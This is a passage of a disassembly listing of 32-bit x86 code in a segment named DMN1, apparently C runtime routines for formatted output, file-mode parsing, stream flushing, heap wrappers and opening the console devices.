ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_408570 jnz short locret_44A953 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_44A953 mov eax, 1 locret_44A953: ; CODE XREF: DMN1:0044A941j ; DMN1:0044A94Cj retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_411200 jmp short loc_44A974 ; =============== S U B R O U T I N E ======================================= sub_44A96A proc near ; CODE XREF: DMN1:0044A80Dp ; sub_44A8C1+4Fp push ebx push ecx mov ebx, offset dword_411200 mov ecx, [ebp+8] loc_44A974: ; CODE XREF: DMN1:0044A968j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_44A96A endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_44A991 proc near ; CODE XREF: DMN1:00449EB7p push 0 push 1000h push 0 call dword_411DB0 mov dword_4127F0, eax test eax, eax setnz al and eax, 1 retn sub_44A991 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; --------------------------------------------------------------------------- mov eax, dword_4127F0 push eax call dword_411DB4 mov dword_4127F0, 0 retn ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44A9D1 proc near ; CODE XREF: sub_44A581+71p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DB8 retn sub_44A9D1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DBC pop ebp retn ; --------------------------------------------------------------------------- db 90h db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44AA11 proc near ; CODE XREF: sub_4494D1+41p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC0 retn sub_44AA11 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push esi mov eax, [esp+0Ch] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC4 mov ebx, eax cmp eax, 0FFFFFFFFh jnz short loc_44AA53 xor esi, esi jmp short loc_44AA55 ; --------------------------------------------------------------------------- loc_44AA53: ; CODE XREF: DMN1:0044AA4Dj mov esi, ebx loc_44AA55: ; CODE XREF: DMN1:0044AA51j mov eax, esi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- mov eax, [esp+4] push eax push 0 mov eax, dword_4127F0 push eax call dword_411DC8 test eax, eax setnz al and eax, 1 retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= sub_44AA81 proc near ; CODE XREF: sub_44B3B1+1p mov eax, off_411210 push eax call dword_411CC8 mov eax, off_411214 push eax call dword_411CC8 mov eax, off_411218 push eax call dword_411CC8 mov eax, off_41121C push eax call dword_411CC8 retn sub_44AA81 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) ; =============== S U B R O U T I N E ======================================= sub_44AAC1 proc near ; CODE XREF: DMN1:0044B411p push ebx mov ebx, 4 loc_44AAC7: ; CODE XREF: sub_44AAC1+2Aj mov eax, off_411210[ebx*4] test eax, eax jz short loc_44AAE7 push eax call dword_411DCC mov eax, off_411210[ebx*4] push eax call sub_4494D1 pop ecx loc_44AAE7: ; CODE XREF: sub_44AAC1+Fj inc ebx cmp ebx, 9 jl short loc_44AAC7 mov eax, off_411210 push eax call dword_411DCC mov eax, off_411214 push eax call dword_411DCC mov eax, off_411218 push eax call dword_411DCC mov eax, off_41121C push eax call dword_411DCC pop ebx retn sub_44AAC1 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44AB21 proc near ; CODE XREF: sub_4494D1+4Bp ; sub_4496E1+28p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] cmp off_411210[ebx*4], 0 jnz short loc_44AB86 push 18h call sub_44A581 pop ecx mov [ebp+var_4], eax test eax, eax jnz short loc_44AB4C push 1 call sub_44B571 pop ecx loc_44AB4C: ; CODE XREF: sub_44AB21+21j push 3 call sub_44AB21 pop ecx cmp off_411210[ebx*4], 0 jnz short loc_44AB74 mov eax, [ebp+var_4] push eax call dword_411CC8 mov eax, [ebp+var_4] mov off_411210[ebx*4], eax jmp short loc_44AB7E ; --------------------------------------------------------------------------- loc_44AB74: ; CODE XREF: sub_44AB21+3Bj mov eax, [ebp+var_4] push eax call sub_4494D1 pop ecx loc_44AB7E: ; CODE XREF: sub_44AB21+51j push 3 call sub_44ABA1 pop ecx loc_44AB86: ; CODE XREF: sub_44AB21+12j mov eax, off_411210[ebx*4] push eax call dword_411CCC pop ebx mov esp, ebp pop ebp retn sub_44AB21 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44ABA1 proc near ; CODE XREF: sub_44953B+2p ; sub_44973C+2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, off_411210[eax*4] push eax call dword_411CD0 retn sub_44ABA1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44ABC1 proc near ; CODE XREF: sub_4495A1+3Dp ; sub_449641+27p ... var_84 = byte ptr -84h var_50 = dword ptr -50h var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = byte ptr -6 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi mov ebx, [ebp+arg_8] mov [ebp+var_48], 0 mov [ebp+var_44], 0 mov eax, [ebp+arg_0] mov [ebp+var_38], eax mov eax, [ebp+arg_4] mov [ebp+var_34], eax mov [ebp+var_10], 0 loc_44ABF1: ; CODE XREF: sub_44ABC1+A4j ; sub_44ABC1+264j mov [ebp+var_4A], 0 lea eax, [ebp+var_48] push eax push 7FFFFFFFh push ebx lea eax, [ebp+var_4A] push eax call sub_44BD31 add esp, 10h mov esi, eax test eax, eax jg short loc_44AC1E cmp byte ptr [ebx], 0 setnz al and eax, 1 mov esi, eax loc_44AC1E: ; CODE XREF: sub_44ABC1+50j cmp [ebp+var_4A], 25h jnz short loc_44AC2D lea eax, [esi-1] mov [ebp+var_50], eax jmp short loc_44AC30 ; --------------------------------------------------------------------------- loc_44AC2D: ; CODE XREF: sub_44ABC1+62j mov [ebp+var_50], esi loc_44AC30: ; CODE XREF: sub_44ABC1+6Aj mov eax, [ebp+var_50] mov edi, eax test eax, eax jle short loc_44AC57 push edi push ebx mov eax, [ebp+var_34] push eax call [ebp+var_38] add esp, 0Ch mov [ebp+var_34], eax test eax, eax jnz short loc_44AC54 or eax, 0FFFFFFFFh jmp loc_44AE2E ; --------------------------------------------------------------------------- loc_44AC54: ; CODE XREF: sub_44ABC1+89j add [ebp+var_10], edi loc_44AC57: ; CODE XREF: sub_44ABC1+76j add ebx, esi cmp [ebp+var_4A], 25h jz short loc_44AC6F cmp [ebp+var_4A], 0 jnz short loc_44ABF1 mov eax, [ebp+var_10] jmp loc_44AE2E ; --------------------------------------------------------------------------- loc_44AC6F: ; CODE XREF: sub_44ABC1+9Dj mov [ebp+var_18], 0 mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0 mov [ebp+var_28], 0 mov [ebp+var_2C], 0 mov [ebp+var_8], 0 jmp short loc_44ACBA ; --------------------------------------------------------------------------- loc_44ACA1: ; CODE XREF: sub_44ABC1+10Ej movzx eax, [ebp+var_8] mov edx, offset dword_40FAF0 mov ecx, esi sub ecx, edx or eax, dword_40FAF8[ecx*4] mov [ebp+var_8], ax inc ebx loc_44ACBA: ; CODE XREF: sub_44ABC1+DEj movzx eax, byte ptr [ebx] push eax push offset dword_40FAF0 call sub_44B261 add esp, 8 mov esi, eax test eax, eax jnz short loc_44ACA1 cmp byte ptr [ebx], 2Ah jnz short loc_44ACF9 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_C], eax test eax, eax jge short loc_44ACF6 mov eax, [ebp+var_C] neg eax mov [ebp+var_C], eax or [ebp+var_8], 4 loc_44ACF6: ; CODE XREF: sub_44ABC1+126j inc ebx jmp short loc_44AD2F ; --------------------------------------------------------------------------- loc_44ACF9: ; CODE XREF: sub_44ABC1+113j mov [ebp+var_C], 0 jmp short loc_44AD1E ; --------------------------------------------------------------------------- loc_44AD02: ; CODE XREF: sub_44ABC1+16Cj cmp [ebp+var_C], 7FFFFFFFh jge short loc_44AD1D mov eax, [ebp+var_C] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_C], eax loc_44AD1D: ; CODE XREF: sub_44ABC1+148j inc ebx loc_44AD1E: ; CODE XREF: sub_44ABC1+13Fj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_44AD02 loc_44AD2F: ; CODE XREF: sub_44ABC1+136j cmp byte ptr [ebx], 2Eh jz short loc_44AD3A or [ebp+var_14], 0FFFFFFFFh jmp short loc_44AD8A ; --------------------------------------------------------------------------- loc_44AD3A: ; CODE XREF: sub_44ABC1+171j inc ebx mov eax, ebx cmp byte ptr [eax], 2Ah jnz short loc_44AD54 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_14], eax inc ebx jmp short loc_44AD8A ; --------------------------------------------------------------------------- loc_44AD54: ; CODE XREF: sub_44ABC1+17Fj mov [ebp+var_14], 0 jmp short loc_44AD79 ; --------------------------------------------------------------------------- loc_44AD5D: ; CODE XREF: sub_44ABC1+1C7j cmp [ebp+var_14], 7FFFFFFFh jge short loc_44AD78 mov eax, [ebp+var_14] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_14], eax loc_44AD78: ; CODE XREF: sub_44ABC1+1A3j inc ebx loc_44AD79: ; CODE XREF: sub_44ABC1+19Aj movzx eax, byte ptr [ebx] mov edx, off_411898 test word ptr [edx+eax*2], 1 jnz short loc_44AD5D loc_44AD8A: ; CODE XREF: sub_44ABC1+177j ; sub_44ABC1+191j movzx eax, byte ptr [ebx] push eax push offset aHjltzl ; "hjltzL" call sub_44B261 add esp, 8 test eax, eax jz short loc_44ADA7 mov eax, ebx inc ebx movzx edi, byte ptr [eax] jmp short loc_44ADA9 ; --------------------------------------------------------------------------- loc_44ADA7: ; CODE XREF: sub_44ABC1+1DCj xor edi, edi loc_44ADA9: ; CODE XREF: sub_44ABC1+1E4j mov eax, edi mov [ebp+var_6], al cmp al, 68h jnz short loc_44ADBE cmp byte ptr [ebx], 68h jnz short loc_44ADBE mov [ebp+var_6], 62h inc ebx jmp short loc_44ADEE ; --------------------------------------------------------------------------- loc_44ADBE: ; CODE XREF: sub_44ABC1+1EFj ; sub_44ABC1+1F4j cmp [ebp+var_6], 6Ch jnz short loc_44ADD0 cmp byte ptr [ebx], 6Ch jnz short loc_44ADD0 mov [ebp+var_6], 71h inc ebx jmp short loc_44ADEE ; --------------------------------------------------------------------------- loc_44ADD0: ; CODE XREF: sub_44ABC1+201j ; sub_44ABC1+206j cmp [ebp+var_6], 0 jnz short loc_44ADEE cmp byte ptr [ebx], 49h jnz short loc_44ADEE cmp byte ptr [ebx+1], 36h jnz short loc_44ADEE cmp byte ptr [ebx+2], 34h jnz short loc_44ADEE mov [ebp+var_6], 71h add ebx, 3 loc_44ADEE: ; CODE XREF: sub_44ABC1+1FBj ; sub_44ABC1+20Dj ... lea eax, [ebp+var_84] push eax mov eax, ebx inc ebx movzx eax, byte ptr [eax] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_44C011 add esp, 10h test eax, eax jnz short loc_44AE2B lea eax, [ebp+var_84] push eax lea eax, [ebp+var_40] push eax call sub_44C751 add esp, 8 test eax, eax jge loc_44ABF1 loc_44AE2B: ; CODE XREF: sub_44ABC1+24Dj or eax, 0FFFFFFFFh loc_44AE2E: ; CODE XREF: sub_44ABC1+8Ej ; sub_44ABC1+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44ABC1 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44AE41 proc near ; CODE XREF: sub_449641+6p cmp dword_411234, 0 jz short loc_44AE50 mov eax, dword_411234 retn ; --------------------------------------------------------------------------- loc_44AE50: ; CODE XREF: sub_44AE41+7j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConout ; "CONOUT$" call dword_411DD0 retn sub_44AE41 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; --------------------------------------------------------------------------- cmp dword_411238, 0 jz short loc_44AE80 mov eax, dword_411238 retn ; --------------------------------------------------------------------------- loc_44AE80: ; CODE XREF: DMN1:0044AE78j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConin ; "CONIN$" call dword_411DD0 retn ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44AEA1 proc near ; CODE XREF: sub_4496E1+35p push ebx push esi xor esi, esi xor ebx, ebx loc_44AEA7: ; CODE XREF: sub_44AEA1+4Ej cmp off_411370[ebx*4], 0 jnz short loc_44AECD push 4Ch call sub_44A581 pop ecx mov esi, eax test esi, esi jz short loc_44AEF1 mov off_411370[ebx*4], esi mov word ptr [esi], 80h jmp short loc_44AEF1 ; --------------------------------------------------------------------------- loc_44AECD: ; CODE XREF: sub_44AEA1+Ej mov eax, off_411370[ebx*4] cmp word ptr [eax], 0 jnz short loc_44AEE8 mov esi, off_411370[ebx*4] mov word ptr [esi], 0FF7Fh jmp short loc_44AEF1 ; --------------------------------------------------------------------------- loc_44AEE8: ; CODE XREF: sub_44AEA1+37j inc ebx cmp ebx, 100h jb short loc_44AEA7 loc_44AEF1: ; CODE XREF: sub_44AEA1+1Cj ; sub_44AEA1+2Aj ... mov eax, esi pop esi pop ebx retn sub_44AEA1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44AF01 proc near ; CODE XREF: sub_4496E1+45p var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_44AF18 xor eax, eax jmp loc_44B03C ; --------------------------------------------------------------------------- loc_44AF18: ; CODE XREF: sub_44AF01+Ej mov ax, [ebx] and ax, 80h mov [ebp+var_2], ax mov edi, ebx mov esi, offset dword_40FB28 mov ecx, 13h rep movsd lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax mov eax, [ebp+arg_4] cmp byte ptr [eax], 72h jnz short loc_44AF72 mov [ebp+var_8], 1 jmp short loc_44AF99 ; --------------------------------------------------------------------------- loc_44AF72: ; CODE XREF: sub_44AF01+66j mov eax, [ebp+arg_4] cmp byte ptr [eax], 77h jnz short loc_44AF83 mov [ebp+var_8], 1Ah jmp short loc_44AF96 ; --------------------------------------------------------------------------- loc_44AF83: ; CODE XREF: sub_44AF01+77j mov eax, [ebp+arg_4] cmp byte ptr [eax], 61h setnz al and eax, 1 dec eax and eax, 16h mov [ebp+var_8], eax loc_44AF96: ; CODE XREF: sub_44AF01+80j mov eax, [ebp+var_8] loc_44AF99: ; CODE XREF: sub_44AF01+6Fj movzx eax, [ebp+var_2] or eax, [ebp+var_8] mov [ebx], ax test word ptr [ebx], 3 jnz short loc_44AFDC push ebx call sub_449941 pop ecx xor eax, eax jmp loc_44B03C ; --------------------------------------------------------------------------- loc_44AFB8: ; CODE XREF: sub_44AF01+E5j ; sub_44AF01+EDj mov eax, [ebp+arg_4] cmp byte ptr [eax], 62h jnz short loc_44AFCD test word ptr [ebx], 20h jnz short loc_44AFF0 or word ptr [ebx], 20h jmp short loc_44AFDC ; --------------------------------------------------------------------------- loc_44AFCD: ; CODE XREF: sub_44AF01+BDj movzx eax, word ptr [ebx] and eax, 3 cmp eax, 3 jz short loc_44AFF0 or word ptr [ebx], 3 loc_44AFDC: ; CODE XREF: sub_44AF01+A7j ; sub_44AF01+CAj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax cmp byte ptr [eax], 62h jz short loc_44AFB8 mov eax, [ebp+arg_4] cmp byte ptr [eax], 2Bh jz short loc_44AFB8 loc_44AFF0: ; CODE XREF: sub_44AF01+C4j ; sub_44AF01+D5j cmp [ebp+arg_0], 0 jz short loc_44B01E mov eax, [ebp+arg_4] push eax movzx eax, word ptr [ebx] push eax mov eax, [ebp+arg_0] push eax call sub_44C9C1 add esp, 0Ch mov [ebx+4], eax cmp dword ptr [ebx+4], 0 jge short loc_44B035 push ebx call sub_449941 pop ecx xor eax, eax jmp short loc_44B03C ; --------------------------------------------------------------------------- loc_44B01E: ; CODE XREF: sub_44AF01+F3j cmp [ebp+arg_C], 0 jge short loc_44B02F push ebx call sub_449941 pop ecx xor eax, eax jmp short loc_44B03C ; --------------------------------------------------------------------------- loc_44B02F: ; CODE XREF: sub_44AF01+121j mov eax, [ebp+arg_C] mov [ebx+4], eax loc_44B035: ; CODE XREF: sub_44AF01+110j call sub_4497E1 mov eax, ebx loc_44B03C: ; CODE XREF: sub_44AF01+12j ; sub_44AF01+B2j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44AF01 endp ; --------------------------------------------------------------------------- db 8Dh, 0BCh, 27h, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B051 proc near ; CODE XREF: sub_4497E1+4Dp arg_0 = dword ptr 4 mov eax, dword_4111A4 cmp dword_4111A0, eax ja short loc_44B065 call sub_44CA31 jmp short locret_44B07E ; --------------------------------------------------------------------------- loc_44B065: ; CODE XREF: sub_44B051+Bj mov eax, dword_4111A4 lea edx, [eax+1] mov dword_4111A4, edx mov edx, [esp+arg_0] mov dword_411060[eax*4], edx locret_44B07E: ; CODE XREF: sub_44B051+12j retn sub_44B051 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B081 proc near ; CODE XREF: sub_449861+8p ; sub_449B41+D0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_44B0DF push 6 call sub_44AB21 pop ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 jmp short loc_44B0C9 ; --------------------------------------------------------------------------- loc_44B0A9: ; CODE XREF: sub_44B081+4Fj mov eax, [ebp+var_4] mov eax, off_411370[eax*4] test eax, eax jz short loc_44B0C6 push eax call sub_44B081 pop ecx test eax, eax jge short loc_44B0C6 or [ebp+var_8], 0FFFFFFFFh loc_44B0C6: ; CODE XREF: sub_44B081+34j ; sub_44B081+3Fj inc [ebp+var_4] loc_44B0C9: ; CODE XREF: sub_44B081+26j cmp [ebp+var_4], 100h jl short loc_44B0A9 push 6 call sub_44ABA1 pop ecx mov eax, [ebp+var_8] jmp short loc_44B151 ; --------------------------------------------------------------------------- loc_44B0DF: ; CODE XREF: sub_44B081+Ej test word ptr [ebx], 2000h jnz short loc_44B0EA xor eax, eax jmp short loc_44B151 ; --------------------------------------------------------------------------- loc_44B0EA: ; CODE XREF: sub_44B081+63j mov esi, [ebx+8] jmp short loc_44B126 ; --------------------------------------------------------------------------- loc_44B0EF: ; CODE XREF: sub_44B081+A8j mov eax, [ebx+10h] sub eax, esi push eax push esi mov eax, [ebx+4] push eax call sub_44CC41 add esp, 0Ch mov edi, eax test edi, edi jg short loc_44B124 mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+30h], eax or word ptr [ebx], 200h or eax, 0FFFFFFFFh jmp short loc_44B151 ; --------------------------------------------------------------------------- loc_44B124: ; CODE XREF: sub_44B081+85j add esi, edi loc_44B126: ; CODE XREF: sub_44B081+6Cj cmp esi, [ebx+10h] jb short loc_44B0EF mov eax, [ebx+8] mov [ebx+10h], eax test word ptr [ebx], 0C00h jz short loc_44B13D mov esi, [ebx+8] jmp short loc_44B140 ; --------------------------------------------------------------------------- loc_44B13D: ; CODE XREF: sub_44B081+B5j mov esi, [ebx+0Ch] loc_44B140: ; CODE XREF: sub_44B081+BAj test word ptr [ebx], 4000h jz short loc_44B14C mov [ebx+18h], esi jmp short loc_44B14F ; --------------------------------------------------------------------------- loc_44B14C: ; CODE XREF: sub_44B081+C4j mov [ebx+30h], esi loc_44B14F: ; CODE XREF: sub_44B081+C9j xor eax, eax loc_44B151: ; CODE XREF: sub_44B081+5Cj ; sub_44B081+67j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44B081 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B161 proc near ; CODE XREF: sub_44B201+41p ; sub_44DCC1+328p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx push esi mov ebx, [ebp+arg_0] push ebx call sub_44CF41 pop ecx cmp eax, 0FFFFFFFFh jz short loc_44B1B0 cmp ebx, 1 jz short loc_44B184 cmp ebx, 2 jnz short loc_44B19E loc_44B184: ; CODE XREF: sub_44B161+1Cj push 1 call sub_44CF41 pop ecx mov [ebp+var_4], eax push 2 call sub_44CF41 pop ecx mov edx, [ebp+var_4] cmp edx, eax jz short loc_44B1B0 loc_44B19E: ; CODE XREF: sub_44B161+21j push ebx call sub_44CF41 pop ecx push eax call dword_411CF8 test eax, eax jz short loc_44B1B4 loc_44B1B0: ; CODE XREF: sub_44B161+17j ; sub_44B161+3Bj xor esi, esi jmp short loc_44B1BC ; --------------------------------------------------------------------------- loc_44B1B4: ; CODE XREF: sub_44B161+4Dj call dword_411CE8 mov esi, eax loc_44B1BC: ; CODE XREF: sub_44B161+51j push ebx call sub_44CDF1 pop ecx mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+4], 0 test esi, esi jz short loc_44B1EC push esi call sub_44A621 pop ecx or eax, 0FFFFFFFFh jmp short loc_44B1EE ; --------------------------------------------------------------------------- loc_44B1EC: ; CODE XREF: sub_44B161+7Dj xor eax, eax loc_44B1EE: ; CODE XREF: sub_44B161+89j pop esi pop ebx mov esp, ebp pop ebp retn sub_44B161 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B201 proc near ; CODE XREF: sub_449861+30p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_44B22A mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_44B23A loc_44B22A: ; CODE XREF: sub_44B201+Cj call sub_44A781 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_44B253 ; --------------------------------------------------------------------------- loc_44B23A: ; CODE XREF: sub_44B201+27j push ebx call sub_44D061 pop ecx push ebx call sub_44B161 pop ecx mov esi, eax push ebx call sub_44D0C1 pop ecx mov eax, esi loc_44B253: ; CODE XREF: sub_44B201+37j pop esi pop ebx retn sub_44B201 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B261 proc near ; CODE XREF: sub_449AA1+39p ; sub_44ABC1+102p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, al jmp short loc_44B276 ; --------------------------------------------------------------------------- loc_44B26D: ; CODE XREF: sub_44B261+17j cmp byte ptr [ecx], 0 jnz short loc_44B275 xor eax, eax retn ; --------------------------------------------------------------------------- loc_44B275: ; CODE XREF: sub_44B261+Fj inc ecx loc_44B276: ; CODE XREF: sub_44B261+Aj cmp [ecx], dl jnz short loc_44B26D mov eax, ecx retn sub_44B261 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B281 proc near ; CODE XREF: sub_449B41+3Dp ; sub_44F1E1+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+18h] cmp eax, [ebx+10h] jbe short loc_44B29A xor eax, eax jmp loc_44B373 ; --------------------------------------------------------------------------- loc_44B29A: ; CODE XREF: sub_44B281+10j movzx eax, word ptr [ebx] and eax, 9002h cmp eax, 2 jz short loc_44B2D6 movzx eax, word ptr [ebx] mov [ebp+var_4], eax test eax, 8000h setnz al and eax, 1 dec eax and eax, 4000h add eax, 200h mov edx, [ebp+var_4] or edx, eax mov ax, dx mov [ebx], ax or eax, 0FFFFFFFFh jmp loc_44B373 ; --------------------------------------------------------------------------- loc_44B2D6: ; CODE XREF: sub_44B281+24j movzx eax, word ptr [ebx] and eax, 6000h cmp eax, 6000h jnz short loc_44B2FD mov eax, [ebx+0Ch] cmp eax, [ebx+10h] ja short loc_44B2FD push ebx call sub_44B081 pop ecx test eax, eax jz short loc_44B2FD or eax, 0FFFFFFFFh jmp short loc_44B373 ; --------------------------------------------------------------------------- loc_44B2FD: ; CODE XREF: sub_44B281+62j ; sub_44B281+6Aj ... test word ptr [ebx], 0C00h jnz short loc_44B30C lea eax, [ebx+48h] cmp eax, [ebx+8] jz short loc_44B30E loc_44B30C: ; CODE XREF: sub_44B281+81j jmp short loc_44B360 ; --------------------------------------------------------------------------- loc_44B30E: ; CODE XREF: sub_44B281+89j push 200h call sub_44A581 pop ecx mov [ebx+8], eax test eax, eax jnz short loc_44B33A lea eax, [ebx+48h] mov [ebx+8], eax mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] inc eax mov [ebx+0Ch], eax call sub_4497E1 jmp short loc_44B360 ; --------------------------------------------------------------------------- loc_44B33A: ; CODE XREF: sub_44B281+9Dj or word ptr [ebx], 40h mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] add eax, 200h mov [ebx+0Ch], eax mov eax, [ebx+8] mov [ebx+2Ch], eax mov eax, [ebx+8] mov [ebx+30h], eax call sub_4497E1 loc_44B360: ; CODE XREF: sub_44B281:loc_44B30Cj ; sub_44B281+B7j mov eax, [ebx+8] mov [ebx+14h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax or word ptr [ebx], 6000h xor eax, eax loc_44B373: ; CODE XREF: sub_44B281+14j ; sub_44B281+50j ... pop ebx mov esp, ebp pop ebp retn sub_44B281 endp ; --------------------------------------------------------------------------- db 89h, 0FFh db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44B381 proc near ; CODE XREF: sub_449B41+59p ; sub_44C011+696p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] mov bl, al mov edx, [esp+4+arg_0] jmp short loc_44B39C ; --------------------------------------------------------------------------- loc_44B392: ; CODE XREF: sub_44B381+1Dj cmp [edx], bl jnz short loc_44B39A mov eax, edx jmp short loc_44B3A2 ; --------------------------------------------------------------------------- loc_44B39A: ; CODE XREF: sub_44B381+13j inc edx dec ecx loc_44B39C: ; CODE XREF: sub_44B381+Fj test ecx, ecx jnz short loc_44B392 xor eax, eax loc_44B3A2: ; CODE XREF: sub_44B381+17j pop ebx retn sub_44B381 